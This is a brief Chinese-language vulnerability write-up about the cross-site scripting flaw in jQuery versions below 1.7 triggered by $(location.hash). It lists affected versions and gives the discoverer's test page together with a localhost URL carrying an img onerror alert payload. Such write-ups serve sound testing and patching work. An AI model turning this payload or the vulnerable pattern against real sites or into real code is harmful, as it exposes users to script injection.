jQuery跨站脚本漏洞XSS with $(location.hash)漏洞

2023-05-26,,

jquery下载地址:https://code.jquery.com/jquery/

影响范围:

    版本低于1.7的jQuery过滤用户输入数据所使用的正则表达式存在缺陷,可能导致LOCATION.HASH跨站漏洞

已测试成功版本:

    jquery-1.6.min.js,jquery-1.6.1.min.js,jquery-1.6.2.min.js

    jquery-1.5所有版本

    jquery-1.4所有版本

    jquery-1.3所有版本

    jquery-1.2所有版本

测试:

启动nginx,并建立index.html页面,内容如下:

漏洞发现者给的测试代码:

<html>

<head>

    <title>JQuery-xss-test</title>

    <script src="https://code.jquery.com/jquery-1.6.1.min.js"></script>

    <script>

    $(function(){

    try { $(location.hash) } catch(e) {}

    })

    </script>

</head>

<body>

    Jquery xss test.

</body>

</html>

访问地址:

http://localhost/#<img src=/ onerror=alert(/F4ckTeam/)>

测试截图:

《jQuery跨站脚本漏洞XSS with $(location.hash)漏洞.doc》

下载本文的Word格式文档,以方便收藏与打印。